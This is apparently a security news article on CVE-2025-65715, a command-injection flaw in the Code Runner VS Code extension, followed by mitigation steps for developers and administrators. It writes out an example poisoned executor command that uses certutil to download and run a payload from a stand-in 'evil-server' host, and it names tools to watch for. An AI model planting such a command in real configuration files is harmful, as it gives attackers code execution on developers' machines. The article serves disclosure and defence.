A high-severity vulnerability in one of Visual Studio Code’s most popular extensions can let attackers run any command they want on Windows machines simply by tricking a developer into opening a booby-trapped project folder. The flaw, tracked as CVE-2025-65715, affects version 0.12.2 of Code Runner, an extension with over 40 million installs that lets developers execute code snippets with a single click. Security researchers at OX Security published details in February 2026, and as of July 2026 there is still no official fix from the maintainer. CISA has assigned the bug a CVSS 3.1 score of 7.8, putting it squarely in the “High” risk category.

A Settings File That Doubles as an Attack Script

The Code Runner extension is built for convenience: define a command for each programming language, select a snippet in the editor, and hit Ctrl+Alt+N to run it immediately. Under the hood, the code-runner.executorMap setting holds these language-to-command mappings. According to OX Security’s technical analysis, when Code Runner prepares to execute a snippet, it reads the appropriate string from that map, does minimal placeholder substitution for the file name or directory, and then feeds the result straight to the operating system shell via Node.js’s child_process.spawn() with the shell: true option.

That is not a typical coding mistake—it is a design that treats configuration as executable instruction. The flaw is classified as CWE-94, improper control of code generation. On Windows, an attacker who can manipulate the executor map can inject anything from a PowerShell download cradle to a full-fledged reverse shell. For example, a poisoned workspace might set the javascript executor to "cmd.exe /c certutil -urlcache -split -f http://evil-server/payload.exe %TEMP%\\\\mal.exe && %TEMP%\\\\mal.exe" instead of node. The moment a developer opens that workspace in a trusted state and runs a JavaScript file with Code Runner, the malicious command chain runs under the developer’s own user account—no prompt, no warning.

The configuration surface isn’t limited to a single file, either. Code Runner honors mappings from executorMapByGlob, executorMapByFileExtension, and customCommand, all of which can be set at the user or workspace level. An attacker could push a tampered settings.json into the global user configuration so that the poisoned command persists even after the original project is closed.

What This Means for You: Developers, Admins, and Organizations

If you’re an individual developer who works with code from GitHub, forums, or client repositories, the risk is immediate and concrete. The attack does not require exploiting a memory corruption bug—it only requires you to open a crafted folder and then press a familiar keyboard shortcut. Once the command executes, the attacker gains the same privileges you have: access to source trees, local SSH keys, browser data, cloud CLI credentials, and any network shares or internal services your account can reach. On a developer workstation, that often includes staging servers, CI/CD pipelines, or corporate VPN access.

For IT and security administrators, this is an exposure-management crisis. The Code Runner extension is widely installed in development teams, and its permissions extend into the core of a developer’s working environment. A single compromised endpoint can serve as a beachhead for lateral movement. Because there is no patched version, you cannot rely on your standard patch cycle to mitigate this—you must actively decide whether to allow the extension at all.

Organizations that employ DevSecOps practices should also take note: the poisoned executor mapping can be committed to a shared repository in a malicious pull request, lying dormant until a fellow developer opens the branch and runs code. The code-runner.executorMap setting is not typically reviewed with the same scrutiny as package.json scripts or GitHub Actions workflows, yet it carries equal power.

The Patch That Isn’t Coming (Yet)

OX Security says it first reported the vulnerability to the maintainer in 2025. The CVE entry appeared in the National Vulnerability Database on February 16, 2026, and OX Security published its public advisory the next day. The GitHub issue tracker for the project (issue #162) shows only unrelated discussion; no maintainer acknowledgment or fix has been posted. The extension’s marketplace listing still displays version 0.12.2 as of July 19, and the public source code on GitHub continues to show the same vulnerable spawn logic.

This does not necessarily mean the project is abandoned—the maintainer, formulahendry, has fixed issues in the past—but the silence is unusually long for a vulnerability of this severity. Third-party advisories, including one from SecPod, have described the flaw as unpatched as recently as June 2026. For Windows defenders, the practical takeaway is clear: there is no safe upgrade target. Updating VS Code or the extension will not remove the vulnerability because no fix has been issued.

The delay is especially concerning given how straightforward the root cause appears. The extension intentionally passes developer-defined commands to the shell; a fix would likely involve escaping or validating the command string so that chained commands or unexpected interpreters are rejected. The fact that such a change hasn’t materialized suggests either a maintainer who is unavailable or a reluctance to alter a feature that many users rely on.

Your Action Plan: Disable, Review, and Harden

If you don’t need Code Runner for your daily work, remove it now. Open VS Code, go to the Extensions view (Ctrl+Shift+X), search for “Code Runner,” and click Uninstall. If you only use it occasionally, consider keeping it disabled until a patched release emerges, and re-evaluate whether built-in VS Code tasks or terminal commands can fill the gap.

If you must keep Code Runner active, follow these steps to reduce your attack surface:

  • Never trust unknown projects. Always open unfamiliar repositories in Restricted Mode (Workspace Trust) and do not grant trust until you’ve inspected the entire .vscode folder and root-level settings. A trusted workspace is an open door for an attacker-controlled executor map.
  • Audit your settings now. Open the Command Palette (Ctrl+Shift+P) and run Preferences: Open User Settings (JSON). Search for code-runner.executorMap, executorMapByGlob, executorMapByFileExtension, and customCommand. Delete any entry that contains shell chaining operators (&, ||, &&), encoded text, or paths to unexpected executables like certutil.exe, bitsadmin.exe, or mshta.exe.
  • Watch for unexpected changes. The vulnerability can be triggered by a malicious extension that modifies user settings. If you see unfamiliar executor mappings appear without your input, treat it as a security incident.
  • Harden your global VS Code configuration. Consider setting "extensions.ignoreRecommendations": true to reduce exposure to community-suggested extensions, and restrict which extensions can modify settings via the extensions.allowed list in group policy if you’re managing enterprise installs.

For administrators overseeing fleets of developer workstations, the focus should be on inventory and enforcement:

  • Use endpoint management tools to scan for the extension ID formulahendry.code-runner. If your policy allows removal, push an uninstall task.
  • Enforce Workspace Trust via group policy or a settings sync profile so that newly cloned repos always open in Restricted Mode.
  • Monitor developer workstation logs for suspicious process creation chains that originate from the VS Code process, especially those that invoke cmd.exe, powershell.exe, or certutil.exe shortly after a user opens a new repository.
  • Incorporate VS Code settings files into your regular configuration review process. The .vscode/settings.json file is as powerful as a shell script.

The Bottom Line

Code Runner’s appeal has always been its one-click, zero-friction execution. CVE-2025-65715 shows the dark side of that convenience: when a developer can define the command that runs, so can an attacker. Until a verified fixed release appears and the maintainer communicates a clear upgrade path, the safest choice on Windows is to treat the extension as a high-risk tool and remove it from any machine where you cannot fully trust every project you open. Developer productivity is important, but not at the cost of handing out free shells to anyone who can craft a JSON file.